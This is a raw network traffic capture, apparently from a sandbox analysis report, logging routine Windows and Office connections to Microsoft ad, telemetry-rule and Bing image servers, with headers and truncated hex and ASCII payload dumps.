2024-11-28 16:24:15 UTC	955	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 2935 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"RADIDS":"1,P425116123-T1-C128000000001627409+B+P20+S1"},{"OPTOUTSTATE":"65792"},{"REGIONALPOLICY":"1"}] X-ARC-SIG: it2PcTwkHDdEfH/t8RmI1ZVd2O+3lZgg9kqXZO+EYBBKZ4Vu8en8HggcKuifinfzsyt4hZGH3VS0T0DuHKc02Bp7enxsbi4mS8lXRW4yDRZVn+QehSaRLeliGvRMAKO+WJN5CdrP2sre0ntJd6hqadicNhwP6DgqvUlLg1C0vpqlJUFVmuClswxgjpbvkj4PWqZJ4UIWJGdePHmAsehJLJ0uVTpAEMxbqJTXCBwfdvk0PAZVRuRPZfv1RFk1ix3ArM4Yo6plsg2QlGBY0Y+UuhlWNix8OcwRknNDzwbIW4+eCFOfvP57HHn3gGd7ZIX8ynJNbvSVBILwT8AIIHYY0Q== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Thu, 28 Nov 2024 16:24:14 GMT Connection: close
2024-11-28 16:24:15 UTC	2935	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 69 74 65 6d 50 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 6e 6f 4f 70 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 61 63 74 69 6f 6e 5c 22 7d 7d 2c 5c 22 69 74 65 6d 73 5c 22 3a 5b 7b 5c 22 70 72 6f 70 65 72 74 69 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"itemPropertyManifest\":{\"noOp\":{\"type\":\"action\"}},\"items\":[{\"properti

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	49718	20.223.35.26	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:15 UTC	2594	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338388&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241128T162411Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=5071dc6fb2df436f929a16e9c488e18a&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=605406&metered=false&nettype=ethernet&npid=sc-338388&oemName=umvjqd%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&scmid=Public&smBiosDm=umvjqd20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=605406&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail [TRUNCATED] Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6 X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAaUGtBD9TQeY+/uze8RnPs3+L60iougrlxhJbMbvrXYtiqJAKBhknfCbdbGV/lVnA37BrJa2Isry7AiGaBv+lwAS/MaTCJNUUEZCAE3GI1ROLLGzXqEINBxCloTgQpiBF7AsI/IuPrbrI2sygzJ53N6s6og+FBXX/jxvEDnQxxieZTPsTPWX8VOoV3ISugvU/RR/ydVU4+GymUBIbngTUHXKtSUdFiDUEIu3x51rwfbBmV73DeD8InTUcbIuw3DYTwa46p7AfY6J5TRtjkfK/JVVRUM63PcxKThprG3pfVdfV5rDqUiclsfk/mjHfvavXIDrU1XDs7oG5KwrIYdxBSIQZgAAEK5lhgt/cESZ2hqutNNRiQiwAS0/NSCxJdOM4HW2J6Lh0JdJfOFE5z86SYc8YVhX2RZWim9GUlUXsIaFxXkuv9S3KQTSfR4FOPV4ytZ77S+buo69/vhufEMyA40Vkmmt0N9mOEZb9+B0ggBHcZFF21zmN7dQPKK5vmJe7n5ulZWUUc/ZmolEMmvf115QmLIHTWhCsw5lZTf8M5WpiJG7X0X9NSncpUKZaU6IsGjAy9z8vh3zeDJIaEBT5hNCfmT+UbuAEirmBzy6sB3hz3AzuyBy0645k0B7/1z+RsfxwZCa1d5G4VnIL5J4jmB+yE+1x0TAlqY2YMQ7noFvhFDSrIsev5QMHwsZdv2MQlM8ys/zHBay3lrPqhbagY+CGmCT050njdakDDLsodZ1GosLpwk+B+BE3owdCrnm4e5mJooyJ2vYVyPaP7B/eKFYyrjbX1qtJV+1kJc+MH3+GA2FpTn0eVoBuvoSxxiLSrERPHI7LmZYX1p/H6UQvRSHVfSroPvAtwRUtRHQrwrclZaTnewqNo4wjuMXrmGes5A1HKHxUDUwVN5G8Bua4KtRVp3H0jIAhSGul+73wh8M+MwDpRlfVdgB&p= Cache-Control: no-cache MS-CV: vwTWr6w750qPAX8q.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0 Host: arc.msn.com Connection: Keep-Alive
2024-11-28 16:24:15 UTC	814	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Length: 3892 Content-Type: application/json; charset=utf-8 Expires: -1 Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [] X-ARC-SIG: mdXmvJTL3xNmQO6gFBtitFnS9t9ZEruj8eJ4VqOHg45xLrhiw7ZGDaUAsWPvlPb//7/zQV8LYwLRLBy1AsAitytsxACcpg0pca8gNh6h0EWT0p8JNpkpy3MfENlwc/Ace4594gZ3VzplRbxwqInjyMz6L0t/hOPDr2YYlS68e+Ps1Hx5V39DKVlQYVHszYE7OfjaJU/0CBboKixFpoDUGHegIOpQMpD0U3qo3fRChYMLOYI9w87scHzZfQ5+XSUAz2jkYlmwwOvgh2o6GFMSQByaHSpYHi/KfLQZ9pEVrcZaSjoanwJRGBHxk5CgLmnDGQbY+p0cWkeWR69wvzF1QA== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Thu, 28 Nov 2024 16:24:15 GMT Connection: close
2024-11-28 16:24:15 UTC	3892	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 6e 61 6d 65 5c 22 3a 5c 22 53 75 67 67 65 73 74 69 6f 6e 73 4f 6e 53 74 61 72 74 5c 22 2c 5c 22 70 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 7d 2c 5c 22 70 72 6f 70 65 72 74 69 65 73 5c 22 3a 7b 7d 2c 5c 22 74 72 61 63 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"name\":\"SuggestionsOnStart\",\"propertyManifest\":{},\"properties\":{},\"trac

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.6	49722	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:17 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 16:24:18 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 16:24:18 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 59158d4f-901e-00a0-5491-3f6a6d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T162418Z-174f7845968pf68xhC1EWRr4h80000000yy000000000823r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 16:24:18 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.6	49725	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:17 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 16:24:18 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 16:24:18 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: dc0e4179-901e-005b-2991-3f2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T162418Z-174f78459685726chC1EWRsnbg0000000yr0000000009ea3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 16:24:18 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.6	49721	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:18 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 16:24:18 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 16:24:18 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 0b3277ea-501e-00a0-5e91-3f9d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T162418Z-174f7845968pf68xhC1EWRr4h80000000ywg00000000atz1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 16:24:18 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.6	49723	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:18 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 16:24:18 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 16:24:18 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 0a3cdbcf-401e-0016-597f-3f53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T162418Z-174f78459688l8rvhC1EWRtzr00000000ba00000000065kv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 16:24:18 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.6	49724	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:19 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 16:24:20 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 16:24:19 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 6eac4bdd-a01e-006f-1c91-3f13cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T162419Z-174f7845968swgbqhC1EWRmnb40000000yqg00000000kybn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 16:24:20 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	49726	2.16.158.75	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:19 UTC	367	OUT	GET /th?id=OADD2.10239337201808_1NREAF5SJS6TG8GUU&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=24&h=24&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: www.bing.com Connection: Keep-Alive
2024-11-28 16:24:20 UTC	627	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Type: image/png Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QWthbWFp"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Content-Length: 1874 Date: Thu, 28 Nov 2024 16:24:20 GMT Connection: close Alt-Svc: h3=":443"; ma=93600 X-CDN-TraceID: 0.449e1002.1732811060.74fbd0c
2024-11-28 16:24:20 UTC	1874	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 18 00 00 00 18 08 06 00 00 00 e0 77 3d f8 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c3 00 00 0e c3 01 c7 6f a8 64 00 00 06 e7 49 44 41 54 48 4b 95 93 0b 54 93 e7 19 c7 3f 2e 81 90 1b b7 ba a3 67 dd 7a a6 75 a7 83 40 88 dc ca aa d4 1d 94 02 02 81 90 ac 5e d0 8e e3 8e 5d 2f 93 22 0c 08 01 af 08 a2 a0 20 a2 50 44 ec 9c 73 dd d9 dc ea ac 68 5b 35 17 92 70 27 5c 12 12 42 a2 dc aa 88 a8 79 9f 8f 90 48 4b f6 26 fb 8e eb d6 d9 6d bf 73 fe e7 3b 39 e7 7d fe bf ef 79 bf 13 e2 bb 58 ad 34 ae e4 ca 47 8b b9 72 e3 17 5c b9 6e 3c 44 31 f0 24 44 d9 83 a3 9a 0c 51 de 54 87 2a db 8e 87 2a ff b2 9e f8 a3 d8 8b 1a f9 df e0 7d 31 f1 fd 08 d9 Data Ascii: PNGIHDRw=sRGBgAMAapHYsodIDATHKT?.gzu@^]/" PDsh[5p'\ByHK&ms;9}yX4Gr\n<D1$DQT**}1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.6	49727	150.171.28.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:19 UTC	346	OUT	GET /th?id=OADD2.10239395842701_1V0LAYL7FGU99EEPN&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-28 16:24:20 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 490983 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: B8861B817EEC4C2995CF699CC2341B6B Ref B: EWR30EDGE1009 Ref C: 2024-11-28T16:24:19Z Date: Thu, 28 Nov 2024 16:24:19 GMT Connection: close
2024-11-28 16:24:20 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff e1 00 da 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 00 00 00 00 60 00 00 00 01 00 00 00 60 00 00 00 01 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 35 2e 39 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 34 3a 30 37 3a 32 39 20 30 38 3a 34 36 3a 30 32 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 03 00 00 00 01 04 38 00 00 a0 03 00 03 00 00 00 01 07 80 00 00 00 00 00 00 00 00 ff db 00 43 00 04 02 03 03 03 02 04 03 03 03 Data Ascii: JFIFHHExifMM*bj(1r2i``Adobe Photoshop 25.9 (Windows)2024:07:29 08:46:028C
2024-11-28 16:24:20 UTC	16384	IN	Data Raw: 96 3d df c5 44 71 b9 ff 00 79 6b d2 53 4d 5d 1f 3d 2a 52 4d 2e a4 74 53 a4 4d 94 8c 6a 94 9d 88 6a c1 8a 4c 1a 75 3a ab 98 44 78 34 64 d2 b5 2e 2a 80 45 a5 a2 95 aa 40 4a 29 7f e5 9d 2d 3d 80 14 53 69 d4 da 40 14 ea 4c 52 d3 dc 04 c5 2d 14 52 24 46 a5 a2 8a 0a 15 69 29 56 92 82 42 8a 29 71 40 09 4b 8a 31 49 40 05 14 51 4f 60 0a 5c 52 b5 1b 7d a9 0a e2 62 96 9b 4e f9 9a 9b 18 52 2d 2a 8a 29 12 0b 4e c2 53 54 53 d6 86 26 25 14 52 b5 02 12 8a 55 14 2d 26 00 d4 7f cb 4a 5a 29 0a e2 e2 9a a2 a5 61 4d a0 2e 26 28 5a 5a 16 81 0d 34 b8 a7 e0 51 40 5c 8e 9c a2 9d 45 02 b8 da 28 a7 50 31 b4 b8 a5 a2 80 05 ff 00 57 48 b4 e6 a5 a0 91 b8 14 60 52 a9 a5 63 40 3d 06 35 18 a7 d3 68 01 b4 6d f6 a7 fd ea 58 c2 37 de a7 72 96 a4 74 7f cb 4d b4 f5 0a bf 7a 96 4f 9b fd ea 2e Data Ascii: =DqykSM]=RM.tSMjjLu:Dx4d.E@J)-=Si@LR-R$Fi)VB)q@K1I@QO`\R}bNR-*)NSTS&%RU-&JZ)aM.&(ZZ4Q@\E(P1WH`Rc@=5hmX7rtMzO.
